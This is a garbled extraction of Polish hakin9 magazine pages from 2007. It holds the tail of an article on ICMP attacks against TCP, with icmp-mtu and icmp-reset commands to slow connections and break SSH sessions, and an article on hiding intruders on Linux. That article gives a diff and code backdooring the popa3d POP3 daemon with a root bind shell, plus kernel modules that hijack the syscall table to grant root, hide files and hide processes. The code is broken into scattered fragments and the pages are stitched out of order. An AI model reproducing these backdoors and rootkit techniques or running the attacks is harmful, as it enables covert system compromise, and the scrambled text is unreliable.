przypadku, gdy mechanizm wykry-
wania MTU nie jest zaimplementowa-
ny w danym systemie) Fragmentation

needed and DF set do zmniejszania
rozmiaru wysyłanych pakietów. Spe-
cyfikacja wymaga, aby system po
zmniejszeniu rozmiaru tych pakie-
tów odczekał przynajmniej 10 mi-
nut, przed ponowną próbą zwiększe-
nia ilości danych przesyłanych w po-
jedynczym pakiecie. Atak polega na
wysyłaniu fałszywych pakietów ICMP
w kierunku jednej ze stron połącze-

nia, powodując zmniejszenie rozmia-
ru MTU do drastycznie niskiego po-
ziomu (nawet do 68 bajtów) oraz w
konsekwencji spowolnienie szybko-
ści przepływu danych. W efekcie sto-
sunek sumarycznej długości nagłów-
ków do długości przesyłanych danych
będzie znacznie większy (patrz Tabe-
la 1). Oznacza to, że większość prze-
syłanych informacji będą stanowić
nagłówki datagramów. Fałszywe pa-
kiety ICMP, oprócz odpowiedniego
komunikatu i kodu błędu zawierają
oczywiście spreparowany nagłówek
IP oraz fragment nagłówka TCP pa-
sujące do atakowanego połączenia.

Przeprowadzimy teraz symula-

cję ataku na mechanizm wykrywania
MTU. W tym celu nawiążemy długo-
trwałe połączenie TCP o dużej pręd-
kości (pobierając ze zdalnego ser-
wera plik o dużym rozmiarze) posłu-
gując się narzędziem wget:

# wget 192.168.0.1/stuff/file.avi

Komputer o adresie

192.168.0.1

dzia-

ła pod kontrolą systemu Windows
XP SP2 z uruchomionym serwerem
usługi HTTP. Sprawdźmy parame-
try nowego połączenia przy pomo-
cy netstat:

# netstat -taun |grep 192.168.0.1
tcp 0 0 192.168.0.101:1025

192.168.0.1:80
ESTABLISHED

Rysunek 2.

Ogólny schemat ataku z wykorzystaniem komunikatów ICMP

ICMP - HARD ERROR

DST ADDR = A

SRC ADDR = B

Internet

Tabela 1.

Sumaryczna długość nagłówków w pakietach w przypadku zmniejszających się rozmiarów MTU (podczas

transferu 1460 bajtów danych)

Rozmiar MTU

Wymagana ilość pakietów

Całkowita ilość danych

z nagłówkami

Procentowy udział na-

główków pakietów

1500

1024

1540

768

1540

512

1580

256

1740

16%

128

1980

32%

2380

59%

Ataki na protokół TCP

hakin9 Nr 3/2007

www.hakin9.org

Posiadamy wszystkie potrzebne in-
formacje na temat połączenia, czyli
adresy IP oraz numery portów. Sy-
mulacja wymaga jednak, aby port
źródłowy był nieznany, dlatego za-
miast konkretnej wartości podamy
zakres

1024-4999

. Do przeprowa-

dzenia ataku użyjemy narzędzia o
nazwie icmp-mtu:

# icmp-mtu -c 192.168.0.101:1024-4999
-s 192.168.0.1:80 -t server -r 32 -m

296

Parametr

-c

określa adres i port

źródłowy (w naszym przypadku
zakres portów) połączenia po stro-
nie klienta. Analogicznie parametr

-s

ustala wartości adresu i portu

po stronie serwera. Numery por-
tów nie są obowiązkowe. Jeśli ich
nie podamy, program będzie wy-
syłał pakiety używając wszystkich
możliwych portów. Należy zwró-
cić uwagę na fakt, że jeśli pominie-
my numer portu po stronie klienta
oraz po stronie serwera, to ilość
potrzebnych do wysłania pakie-
tów będzie wynosić 65536*65536,
czyli ponad cztery miliardy. Opcja

-t

służy do ustalenia kierunku, w

którym mają być wysyłane pakie-
ty. My wybraliśmy stronę serwera,
ponieważ działając pod kontrolą
systemu Windows, w przeciwień-
stwie do systemu Linux, nie jest
on odporny na ataki z wykorzysta-
niem protokołu ICMP. Przedostat-
ni parametr

-r

służy do ogranicze-

nia szybkości (w kilobitach na se-
kundę), z jaką wysyłane są pakie-
ty. Jest to przydatne w przypadku
niektórych routerów, którym może
nie „podobać się” zbyt duży ruch
pakietów ICMP. Ostatni parametr

-m

pozwala nam wybrać rozmiar

MTU. Jego użycie nie jest obo-
wiązkowe, jeśli zostanie pominię-
ty, rozmiar MTU zostanie ustawio-
ny na 68, czyli absolutne minimum.
Niestety nie wszystkie systemy re-
spektują owe minimum (na przy-
kład BSD oraz Windows), dlatego
wybraliśmy wartość

296

Dodatkowym efektem naszych

działań jest znacznie większe zu-
życie mocy obliczeniowej proce-
sora po obu stronach połącze-

nia (wystarczające do „zamroże-
nia” niewielkich, domowych route-
rów sprzętowych). Ilość przesy-
łanych informacji danych nie ule-
gnie zmianie, natomiast znacz-
nie zwiększy się ilość pakietów,
ze względu na ich niewielkie roz-
miary. Obsłużenie tak dużej ilo-
ści pakietów przez system zajmu-
je więcej czasu procesora. Efekt
jest szczególnie widoczny w przy-
padku połączeń o dużej przepu-
stowości.

Przerywanie połączenia

Wiemy już w jaki sposób wykorzy-
stać protokół ICMP do obniżenia ja-
kości połączeń TCP. Istnieje także
groźniejsza odmiana ataku, umoż-
liwiająca natychmiastowe zerwa-
nie połączenia. Wykorzystuje się
tu ten sam komunikat ICMP, co po-
przedni, ale z kodem błędu Proto-

col unreachable (można także za-
stosować kod Port unreachable).
Pakiet z takim kodem błędu infor-
muje jedną ze stron połączenia o
tym, że drugi komputer nie posiada
zaimplementowanej obsługi dane-
go protokołu (w naszym przypadku
tym protokołem jest TCP). Otrzy-
manie takiego komunikatu podczas
trwającego połączenia wydaje się
być co najmniej dziwne. Oznacza
to, że obsługa protokołu zosta-
ła nagle usunięta z sytemy, cho-
ciaż połączenie nie zostało zakoń-
czone. Dobrym rozwiązaniem jest
więc traktowanie tego komunikatu
jako miękkiego w przypadku trwa-
jących połączeń, co uniemożliwi
ich przerwanie.

Scenariusz ataku jest identycz-

ny, jak poprzednio. Zmienia się

Rysunek 3.

Komunikat programu PuTTY informujący o udanym ataku na

sesję SSH

Paranoja ICMP

Skuteczność wykrywania MTU dla da-
nej trasy jest całkowicie uzależniona
od zdolności nadawcy do odebrania
komunikatu ICMP Fragmentation ne-
eded and DF set. Jeśli nadawca nie
otrzyma tego komunikatu, nie będzie
wiedział, że pakiet nie dotarł do celu.
Spowoduje to w najgorszym razie za-
blokowanie połączenia na czas nie-
określony, ponieważ także kolejne pa-
kiety prawdopodobnie nie będą mogły
zostać przesłane przez łącze o mniej-
szym MTU niż rozmiar pakietu. Najczę-
ściej problem stwarzają sieci, w których
ignorowane są pakiety ICMP w źle po-
jętym interesie bezpieczeństwa. Jest to
bardzo niemądre działanie, ponieważ
protokół ICMP jest nierozerwalnie po-
łączony z protokołem IP, który w więk-
szości przypadków bez pomocy tego
drugiego nie będzie w stanie dostar-
czyć pakietów w dane miejsce.

Niedoświadczeni administratorzy

obawiają się tego protokołu ze wzglę-
du na problemy, jakie wiązały się daw-
niej z jego użyciem. Zbyt duże pakie-
ty ICMP (tak zwane ping of death) po-
wodowały w starszych wersjach syste-
mów Windows i Novell błąd pamięci ją-
dra (oraz w konsekwencji jego zawie-
szenie), natomiast wysyłanie komuni-
katów ICMP na adresy rozgłaszania
służyło do przeprowadzania ataków
odmowy obsługi (znanych jako ata-
ki smurf).

Niestety w Internecie można zna-

leźć wątpliwej jakości artykuły zale-
cające odrzucanie wszystkich pakie-
tów ICMP. Zdarzają się nawet admini-
stratorzy, którzy owe zalecenia wpro-
wadzają w życie. Oczywiście szanu-
jemy ich.

hakin9 Nr 3/2007

www.hakin9.org

Atak

tylko kod błędu w pakiecie ICMP
oraz narzędzie. Kolejna symula-
cja również będzie opierała się na
długotrwałym połączeniu. Tym ra-
zem komputer o adresie

192.168.0.1

(Windows XP) nawiąże połącze-
nie w sieci lokalnej z serwerem
usługi SSH o adresie

192.168.0.101

Do przeprowadzania ataku użyje-
my narzędzia icmp-reset, którego
sposób użycia nie różni się od po-
przedniego:

# icmp-reset -c 192.168.0.1:1024-4999 -
s 192.168.0.101:22 -t client -r 32

Sytuacja uległa niewielkiej zmia-
nie. Rolę serwera pełni teraz kom-
puter pod kontrolą systemu Linux.
Atak przeprowadzimy więc w kierun-
ku klienta. Po chwili na komputerze

192.168.0.1

pojawi się komunikat po-

dobny do tego przedstawionego na
Rysunku 3. Oznacza on, że atak za-
kończył się sukcesem i sesja SSH
została przerwana.

Jak się obronić

Chociaż specyfikacja protokołu
ICMP wciąż pozostaje niezmienna,
producenci systemów i urządzeń sie-
ciowych mają tu spore pole do popi-
su. Wiele zależy od odpowiedniej im-
plementacji, której bezpieczeństwo
oparte jest na umiejętnie wykorzy-
stanych możliwościach oferowanych
przez istniejącą specyfikację proto-
kołu lub na wprowadzeniu drobnych
modyfikacji.

Jednym z możliwych rozwią-

zań jest wykorzystanie numeru se-
kwencyjnego TCP do sprawdzenia
wiarygodności komunikatów typu

hard error. Każdy pakiet ICMP in-
formujący o problemie sieciowym
przenosi minimum osiem pierw-
szych oktetów nagłówka TCP pa-
kietu, który spowodował błąd.

Zawierają one 32-bitowy nu-

mer sekwencyjny, którego zada-
nia stanowią zabezpieczanie se-
sji TCP przed duplikatami pakie-
tów oraz składanie docierających
danych w odpowiedniej kolejno-
ści. Na podstawie tego numeru
można więc stwierdzić, czy da-
ny pakiet rzeczywiście należy do

bieżącej sesji TCP (pomimo zgod-
nych numerów portów), czy może
został sfałszowany przez atakują-
cego i należy go odrzucić. Powyż-
sza idea wydaje się być zupełnie
oczywista, jednak popularne im-
plementacje (na przykład Win-
dows oraz Cisco IOS) wciąż jej
nie stosują.

Problem powraca w przypad-

ku stosowania rozszerzenia TCP
o nazwie Window Scaling umożli-
wiającego ustawienie bardzo du-
żych rozmiarów okna (powyżej
standardowych 64kB). Każdy sys-
tem sieciowy powinien więc pod-
dawać kontroli numery sekwencyj-
ne TCP przenoszone w komunika-
tach ICMP.

Kolejną metodą jest opóźnia-

nie reakcji na twarde komunika-
ty do osiągnięcia określonej liczby
nieudanych prób retransmisji pakie-
tu. Po otrzymaniu komunikatu typu

hard error, system nie przerywa po-
łączenia od razu, ale próbuje konty-
nuować transmisję poprzez ponow-
ne wysyłanie danych. Gdy liczba
nieudanych prób retransmisji osią-
gnie odpowiednią wartość, system
może zakończyć połączenie mając
pewność, że otrzymany komunikat
był prawdziwy.

Nie jest zalecane odrzucanie

wybranych komunikatów ICMP na
poziomie zapory ogniowej. W nie-
których przypadkach takie działa-
nie może spowolnić lub utrudnić
działanie niektórych usług w sie-
ci. Praktyczna część artykułu po-
kazała, że niewiele pomoże wy-
korzystywanie funkcjonalności lo-
sowych numerów portów źródło-
wych, chociaż jest to jak najbar-
dziej zalecane rozwiązanie. Na
dzień dzisiejszy najlepszą (oraz
jedyną) metodą obrony przed ata-
kami z wykorzystaniem protoko-
łu ICMP jest stosowanie syste-
mów z dobrą implementacją sto-
su TCP (lub instalowanie popra-
wek w przypadku słabszych imple-
mentacji).

Podsumowanie

Jak zwykle przyczyna opisanego
tu problemu tkwi po środku. Winą

można obarczyć twórców protoko-
łu ICMP. Z drugiej strony jednak,
winni są także producenci tworzą-
cy systemy i urządzenia, w których
obsługa tego protokołu pozosta-
wia często wiele do życzenia. Po-
wodzenie ataku zależy więc głów-
nie od konkretnej implementacji
stosu protokołów sieciowych. Na
szczęście dzisiaj omówione ata-
ki są znacznie mniej groźne, po-
nieważ wśród twórców systemów
wzrosła świadomość o zagroże-
niu, jakie wiąże się z ich wykorzy-
stywaniem. l

W Sieci

• http://www.gont.com.ar/drafts/icmp-

attacks/ – zbiór publikacji na temat
ataków z wykorzystaniem protokołu
ICMP,

• http://www.gont.com.ar/tools/

icmp-attacks/ – narzędzia wyko-
rzystane w praktycznej części ar-
tykułu,

• http://www.microsoft.com/technet/

security/bulletin/MS05-019.mspx
– poprawka dla systemów Win-
dows eliminująca zagrożenie ata-
kami ICMP,

• h t t p : / / w w w . f a q s . o r g / r f c s/

rfc792.html – RFC-792, specyfika-
cja protokołu ICMP.

Tłumienie nadawcy

Specyfikacja protokołu przewidu-
je sytuację, w której router pośred-
niczący w transmisji nie będzie po-
siadał wystarczającej ilości pamię-
ci do przetworzenia przekazywa-
nych pakietów. Może on wtedy wy-
słać pakiet ICMP z komunikatem
Source quench (tłumienie nadaw-
cy). Zgodnie z RFC-792, system po
otrzymaniu takiego komunikatu po-
winien zmniejszyć szybkość wysyła-
nych danych na okres przynajmniej
10 minut. Skutek jest podobny, jak w
przypadku ataku na mechanizm wy-
krywania MTU – wolniejsze połącze-
nie. Protokół TCP posiada jednak
własne mecha

www.hakin9.org

hakin9 Nr 3/2007

Atak

eszcze osiem lat temu niewiele mówi-
ło się w Polsce o hakerach, czy ich wła-
maniach i atakach, a stereotyp przedsta-

wiał sieciowego intruza jako małolata z trądzi-
kiem, który z uporem maniaka zgaduje hasła
do kont na różnych serwerach. Obecnie jest to
temat coraz częściej podejmowany, nawet w
mediach, i to nie tylko przy okazji włamań do
NASA, czy ataków DDoS (Distributed Denial of

Service) na Yahoo, ale także z tego powodu, że
wielu ludzi, o których mówi się, że są hakerami,
lubi gdy jest o nich głośno i odpowiednio mani-
festuje swoją obecność. Głównym celem tego
artykułu jest przedstawienie kilku technik ukry-
wania się w systemie, stosowanych przez dru-
gi rodzaj sieciowych włamywaczy, mianowicie
przez tych, którzy wolą pozostać w ukryciu.

W systemach operacyjnych ukryć można

się w wielu miejscach. Obecnie najczęściej
stosuje się backdoory umieszczone w usłu-
gach sieciowych i na poziomie jądra systemu
Linuks. Jako że temat backdoorów jest bardzo
rozległy i jedynym ograniczeniem jest tutaj wy-
obraźnia i stopień umiejętności programowania
systemowego, omówię jedynie kilka wybranych
przykładów, które można łatwo przetestować w
domowych warunkach. Osobom chcącym wy-

próbować omówione tutaj przykłady w bardziej
realnym środowisku, chciałbym przypomnieć,
iż nie gwarantują one stuprocentowej gwarancji

Wybrane techniki

maskowania obecności

w systemie GNU/Linux

Robert Jaroszuk

stopień trudności

Jeszcze osiem lat temu niewiele mówiło się w Polsce o

hakerach, czy ich włamaniach i atakach, a stereotyp przedstawiał

sieciowego intruza jako małolata z trądzikiem, który z uporem

maniaka zgaduje hasła do kont na różnych serwerach.

Z artykułu dowiesz się:

• W jaki sposób można stworzyć backdoory sie-

ciowe, ukryte w popularnych usługach, np. w
demonie POP3.

• Jak napisać stosunkowo prosty, lokalny (do-

stępny w obrębie serwera) backdoor, ukryty w
kernelu

• Jak ukryć przed administratorem systemu pro-

ces, którego nie powinien widzieć

• Jak ukryć przed administratorem moduł kerne-

la załadowany przez intruza

Co powinieneś wiedzieć:

• Aby zrozumieć techniki omawiane w artykule,

powinieneś dosyć dobrze znać system Linux
oraz język C.

• Dla osób nie mających doświadczenia w pro-

gramowaniu jądra systemu wskazane jest
także zapoznanie się z "The Linux Kernel
Module Programming Guide": http://tldp.org/
LDP/lkmpg/2.6/html/index.html

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

bycia niewidocznym przed czujnym
okiem administratora.

W większości przypadków sa-

mo włamanie jest tylko pierwszym
krokiem większego przedsięwzię-
cia, którym może być nie pozosta-
wiające śladów utrzymanie kontroli
nad systemem i możliwość później-
szego powrotu w określonym celu

(wykradanie danych, sabotaż, dal-
sze włamania na inne maszyny). W
tego typu sytuacji intruz musi odpo-

wiednio zadbać o zatarcie śladów
swojego działania i pozostawienie
dobrze ukrytych tylnych furtek (nie

O autorze

Autor jest studentem Szkoły Głów-
nej Handlowej w Warszawie. Bezpie-
czeństwem sieci i systemów informa-
tycznych zajmuje się zarówno zawo-
dowo, jak i hobbystycznie od połowy
lat 90-tych. Obecnie pracuje jako ad-
ministrator bezpieczeństwa w jednej
z największych instytucji finansowych
w Polsce.

Kontakt z autorem: zim@iq.pl

Listing 1.

plik diff

diff

popa3d

1.0

Makefile

popa3d

1.0

backdoored

Makefile

---

popa3d

1.0

Makefile

2006

20.000000000

0100

+++

popa3d

1.0

backdoored

Makefile

2006

46.000000000

0100

LDFLAGS

LIBS

# Linux with glibc, FreeBSD, NetBSD

#LIBS += -lcrypt

LIBS

lcrypt

# HP-UX trusted system
#LIBS += -lsec
# Solaris (POP_STANDALONE, POP_VIRTUAL)
#LIBS += -lsocket -lnsl
# PAM

#LIBS += -lpam+LIBS += -lpam

# TCP wrappers
#LIBS += -lwrap
# libwrap may also want this

Common

subdirectories

popa3d

1.0

md5

and

popa3d

1.0

backdoored

md5

diff

popa3d

1.0

params

popa3d

1.0

backdoored

params

---

popa3d

1.0

params

2006

52.000000000

0100

+++

popa3d

1.0

backdoored

params

2006

23.000000000

0100

define

POP_STANDALONE

define

POP_STANDALONE

#if POP_STANDALONE

diff

popa3d

1.0

pop_auth

popa3d

1.0

backdoored

pop_auth

---

popa3d

1.0

pop_auth

2002

48.000000000

0200

+++

popa3d

1.0

backdoored

pop_auth

2006

02.000000000

0100

#include

<unistd.h>

#include

<string.h>

#include

<syslog.h>

#include

#include

#include

#include

<stdlib.h>

#include

#include

#include

#include

<fcntl.h>

#include

<pwd.h>

include

"misc.h"

include

"params.h"

include

"virtual.h"

#endif

define

PORT

4000

static

char

pop_user

pop_pass

;

static

int

pop_auth_quit

(

char

params

)

return

POP_STATE

;

}

void

pop_auth_hack

(

void

)

{

struct

sockaddr_in

serv

;

struct

sockaddr_in

cli

;

unsigned

int

slen

;

int

sock

;

int

scli

;

struct

passwd

;

+
+

getpwnam

(

POP_USER

);

setuid

(

);

setgid

(

);

Listing 2.

export_sct.c

#include

#include

#include

#include

#include

#define SCT_ADDR 0xc03a22a0

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

void

sys_call_table

;

static

int

__init

m_init

(

void

)

{

sys_call_table

(

void

**)

SCT_ADDR

;

EXPORT_SYMBOL

(

sys_call_table

);

return

;

}

static

void

__exit

m_exit

(

void

)

{

}

module_init

(

m_init

);

module_exit

(

m_exit

);

hakin9 Nr 3/2007

www.hakin9.org

Atak

koniecznie w tej kolejności). Owe
tylne furtki można umieścić w prze-
różnych miejscach w systemie. Mo-
że to być modyfikacja konfiguracji
systemu, dodawanie nowych użyt-
kowników, zmiana działania pro-
gramów z ustawionym bitem suid,
dodawanie nowych usług, modyfi-
kacja oprogramowania, aż po naj-
bardziej wyrafinowane możliwo-
ści - modyfikację kernela (stosując
moduły, modyfikację źródeł i mody-
fikację pracującego jądra poprzez

/dev/kmem).

Backdoor w demonie

POP3

Jedną ze standardowych usług kla-
sycznego serwera jest poczta. Ist-
nieje więc wysokie prawdopodo-
bieństwo, że tego typu usługa bę-
dzie uruchomiona na serwerze, do
którego intruz uzyskał dostęp. War-
to rozważyć możliwość instalacji
tylnej furtki w tej usłudze. Zacznij-
my zatem od pobrania źródeł pro-
gramu:

h t t p : / / w w w.o p e n w a l l .c o m /

popa3d/popa3d-1.0.2.tar.gz

A następnie rozpakujmy źró-

dła programu: tar -zxvf popa3d-
1.0.2.tar.gz
Teraz należy wprowadzić kilka mo-
dyfikacji w źródłach i w pliku Make-

file. (plik diff dla źródeł programu po-

pa3d-1.0.2 przedstawiony jest na Li-
stingu 1).

W pliku Makefile musimy zmienić

listę bibliotek, z którą będzie kompi-
lowany program popa3d. W tym celu
pozbawiamy komentarzy linijki:

#LIBS += -lcrypt
#LIBS += -lpam

Dzięki temu, podczas kompilacji zo-
staną wykorzystane biblioteki lib-

crypt oraz libpam. Są one potrzebne
przy autoryzacji zwykłych użytkow-
ników systemu. W pliku params.h
zmieniamy linijkę:

#define POP_STANDALONE 0

#define POP_STANDALONE 1

Listing 3.

file.c

#include

#include

#include

#include

#define __KERNEL_SYSCALLS__
#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Poszukiwany ci▒g znakˇw */

char

string

"trabant"

;

void

sys_call_table

;

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

ptr

;

((

unsigned

long

*)*

ptr

(

unsigned

long

sys_close

)

{

((

unsigned

long

*)*((

ptr

__NR_close

__NR_read

)

(

unsigned

long

sys_read

*((

ptr

__NR_close

__NR_open

)

(

unsigned

long

)

sys_open

)

{

sys_call_table

(

void

**)

((

unsigned

long

*)(

ptr

__NR_close

));

break

;

}

ptr

++;

}

(

sys_call_table

NULL

)

{

return

;

}

else

{

return

;

}

return

;

}

asmlinkage

int

old_open

)(

const

char

int

);

asmlinkage

int

new_open

(

const

char

pathname

int

flag

int

mod

)

{

* Sprawdzamy czy w nazwie (pathname zawiera także scieżke do pliku)
* otwieranego pliku znajduje się ciąg znaków ze zmiennej string.
* Jeśli tak, to dostajemy uid = 0;
*/

(

strstr

(

pathname

string

))

{

current

uid

;

current

gid

;

current

euid

;

current

egid

;

current

parent

uid

;

current

parent

gid

;

current

parent

euid

;

current

parent

egid

;

}

return

(

old_open

(

pathname

flag

mod

));

}

static

int

__init

m_init

(

void

)

{

znajdz_sct

())

{

return

;

}

old_open

sys_call_table

[

__NR_open

];

sys_call_table

[

__NR_open

new_open

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_open

old_open

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

Stała POP_STANDALONE okre-
śla, czy program popa3d będzie
samodzielnie nasłuchiwał na por-
cie 110, czy też będzie mu potrzeb-
ny do działania jakiś serwer typu
inetd/xinetd/rlinetd lub inny podobny.
Nie ma to znaczenia dla funkcjonal-
ności backdoora, ale dla uproszcze-
nia przyjąłem, że nie będziemy uży-
wać żadnych dodatkowych aplika-
cji typu *inetd. Dosyć istotną zmianę
musimy wprowadzić w pliku pop_ro-

ot.c, w funkcji

set _ user()

. Odpowia-

da ona za zrzucanie uprawnień pro-
cesu-dziecka. Jako że chcemy, aby
nasz backdoor miał pełne uprawnie-
nia, musimy zadbać o to, aby pro-
ces-rodzic nie zrzucał ich przed wy-
wołaniem backdoora.

Tak więc zamiast linii:

if (setuid(pw->pw_uid)) return
log_error("setuid");

wstawiamy dwie inne:

setuid(0);
if (seteuid(pw->pw_uid))
return log_error("setuid");

Mamy więc:

if (setgid(pw->pw_gid))
return log_error("setgid");
setuid(0);
if (seteuid(pw->pw_uid))
return log_error("setuid");

W momencie gdy intruz połączy się z
serwerem pop3, ten wywołuje funk-
cję fork() i uruchamia proces obsłu-
gujący dane połączenie. Dzięki po-
wyższej zmianie w kodzie, proces
ten będzie miał uid=0 i euid użyt-
kownika popa3d. W liście procesów
będzie widoczny jako popa3d, a tak
naprawdę będzie miał uprawnienia
roota.

Główny kod backdoora znajduje

się w pliku pop_auth.c. Na początku
pliku należy dodać kilka nowych pli-
ków nagłówkowych:

#include
#include
#include
#include

Listing 4a.

Moduł realizujący ukrywanie plików

#include

#include

#include

#include

#include

#include

#define __KERNEL_SYSCALLS__
#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Ci±g znaków używamy do ukrywania plików i katalogów */

define

HIDE_NAME

"tego_pliku_nie_widac"

void

sys_call_table

;

asmlinkage

int

old_getdents64

)

(

unsigned

int

struct

linux_dirent64

dirp

unsigned

int

count

);

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

ptr

;

ptr

unsigned

long

((

init_mm

end_code

)

0xfffffffc

);

while

((

unsigned

long

)

ptr

(

unsigned

long

)

init_mm

end_data

)

{

((

unsigned

long

*)*

ptr

(

unsigned

long

sys_close

)

{

((

unsigned

long

*)*((

ptr

__NR_close

__NR_read

)

(

unsigned

long

sys_read

*((

ptr

__NR_close

__NR_open

)

(

unsigned

long

)

sys_open

)

{

sys_call_table

(

void

**)

((

unsigned

long

(

ptr

__NR_close

));

break

;

}

ptr

++;

}

(

sys_call_table

NULL

)

{

return

;

}

else

{

return

;

}

return

;

}

/* syscall który będzie przechwytywany w tablicy sycalli */

asmlinkage

int

new_getdents64

(

unsigned

int

struct

linux_dirent64

dirp

unsigned

int

count

)

{

struct

linux_dirent64

dir

ptr

tmp

NULL

;

long

rec

ret

;

/* poniższa zmienna przechowuje adres starego wywołania systemowego

sys_getdents64() */

ret

old_getdents64

)

(

dirp

count

);

/* próbujemy zaalokować pamięc do zmiennej tmp, jeżeli się to nie uda,

wracamy do oryginalnego wywołania sys_getdents64 */

((

tmp

(

struct

linux_dirent64

kmalloc

(

ret

GFP_KERNEL

))

NULL

)

return

ret

;

/* kopiujemy strukturę linux_dirent64

(zmienna dirp) do zmiennej tmp */

(

copy_from_user

(

tmp

dirp

ret

))

{

return

EFAULT

;

}

ptr

dir

tmp

;

ret

;

while

(((

unsigned

long

)

dir

)

(((

unsigned

long

)

tmp

)

))

{

hakin9 Nr 3/2007

www.hakin9.org

Atak

#include
#include
#include
#include
#include

oraz zdefiniować stałą PORT, która
będzie przechowywała numer portu,
na którym ma słuchać nasz backdoor:

#define PORT 4000

Dalej znajduje się funkcja

pop _

auth _ hack()

, która będzie wywo-

ływana w momencie aktywacji tyl-
nej furtki.

void pop_auth_hack(void)
{
struct sockaddr_in serv;
struct sockaddr_in cli;
unsigned int slen;
int sock;
int scli;
struct passwd *pw;

Na początku funkcji znajdują się de-
klaracje zmiennych. Przechowują
one informacje niezbędne do pra-
widłowego nawiązania połączenia
oraz do jego późniejszej obsługi.

W kolejnej linijce ustawiany jest

uid oraz gid procesu backdoora.
Efektywny uid (euid) zostaje usta-
wiony na uid użytkownika zdefinio-
wanego w stałej POP_USER (do-
myślnie jest to popa3d), żeby pro-
ces był widoczny jako należący do
tego właśnie użytkownika, a mimo
to zachowywał uprawnienia superu-
żytkownika.

pw = getpwnam(POP_USER);
setuid(0); setgid(0);
seteuid(pw->pw_uid);

Poniżej tworzony jest socket typu

SOCK _ STREAM

, służący do nawiązy-

wania połączeń przy użyciu protoko-
łu TCP

(IPPROTO _ TCP)

sock = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
exit(1);
}

Listing 4b.

Moduł realizujący ukrywanie plików

rec

dir

d_reclen

;

/* dla każdej pozycji w tablicy dirp sprawdzamy czy nazwa zawiera

poszukiwany przez nas ci±g znaków, jeśli tak jest to nie pokazujemy
danego pliku/katalogu w strukturze linux_dirent64 */

(

strstr

(

dir

d_name

HIDE_NAME

))

{

)

{

ret

rec

;

ptr

(

struct

linux_dirent64

(((

unsigned

long

)

dir

)

rec

);

}

else

{

d_reclen

rec

;

memset

(

dir

rec

);

}

else

dir

;

dir

struct

linux_dirent64

*)(((

unsigned

long

)

dir

rec

);

}

/* kopiujemy zmodyfikowan± listę pozycji do środowiska użytkownika */

(

copy_to_user

(

dirp

ptr

ret

))

{

return

EFAULT

;

}

/* zwalniamy pamięc dla zmiennej tmp */

kfree

(

tmp

);

return

ret

;

}

static

int

__init

m_init

(

void

)

{

znajdz_sct

())

{

return

;

}

old_getdents64

sys_call_table

[

__NR_getdents64

];

sys_call_table

[

__NR_getdents64

new_getdents64

;

return

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_getdents64

old_getdents64

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Listing 5.

Realizacja zadań

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define __KERNEL_SYSCALLS__
#include

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Sygna│, który będziemy wysyłać do procesu. */

#define SIGHIDE 64

/* Flaga jak będziemy ustawiali procesowi */

#define PF_HIDDEN 0x10000000

void

sys_call_table

;

asmlinkage

int

old_getdents64

)

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

Dalej czyszczona jest zmienna serv,
która przechowuje strukturę soc-

kaddr_in.

memset(&serv, 0x0, sizeof(serv));

Po jej wyczyszczeniu, ustawiane
są w niej odpowiednie pola. Pole
sin_family określa rodzinę protoko-
łów,

sin _ addr.s _ addr

określa, ja-

ki ma być adres źródłowy danego
połączenia. W przypadku usług bę-
dzie to adres, na którym ma dany
program nasłuchiwać.

INADDR _ ANY

oznacza, że będzie to każdy do-
stępny adres IP, tak więc program
będzie słuchał na wszystkich inter-
fejsach serwera. Pole sin_port to
port, na którym będzie uruchomio-
ny backdoor.

serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_

ANY);

serv.sin_port = htons(PORT);

Następnie

informacje

zawar-

te w strukturze przechowywanej w
zmiennej serv, są przekazane do
funkcji

bind()

, która powoduje "na-

zwanie" danego socketu.

if (bind(sock, (struct sockaddr *)
&serv, sizeof(serv)) < 0) {
perror("bind");
exit(1);
}

Teraz można otworzyć port (słuchać
na nim –

listen()

) oraz oczekiwać na

połączenie od intruza.

if (listen(sock, 5) < 0) {
perror("listen");
exit(1);
}

Dalej przechodzimy do katalogu
głównego oraz oczekujemy na nad-
chodzące połączenie.

chdir("/");
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr

&cli, &slen);
if (scli < 0) exit(0);

Listing 5a.

Realizacja zadań

(

unsigned

int

struct

linux_dirent64

dirp

unsigned

int

count

);

asmlinkage

int

old_kill

)(

pid_t

int

);

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

ptr

;

ptr

unsigned

long

((

init_mm

end_code

)

0xfffffffc

);

while

((

unsigned

long

)

ptr

(

unsigned

long

)

init_mm

end_data

)

{

((

unsigned

long

*)*

ptr

(

unsigned

long

sys_close

)

{

((

unsigned

long

*)*((

ptr

__NR_close

__NR_read

)

(

unsigned

long

sys_read

*((

ptr

__NR_close

__NR_open

)

(

unsigned

long

)

sys_open

)

{

sys_call_table

(

void

**)

((

unsigned

long

(

ptr

__NR_close

));

break

;

}

ptr

++;

}

(

sys_call_table

NULL

)

{

return

;

}

else

{

return

;

}

return

;

}

/* Funkcja wycina numer procesu ze scieżki /proc/pid */

int

new_atoi

(

char

path

)

{

int

;

char

ptr

;

for

(

ptr

path

;

ptr

;

ptr

++);

ptr

--;

while

(

ptr

path

)

{

ptr

'0'

ptr

'9'

)

{

;

break

;

}

ptr

0x30

)

;

ptr

--;

}

return

;

}

struct

task_struct

new_find_task

(

pid_t

pid

)

{
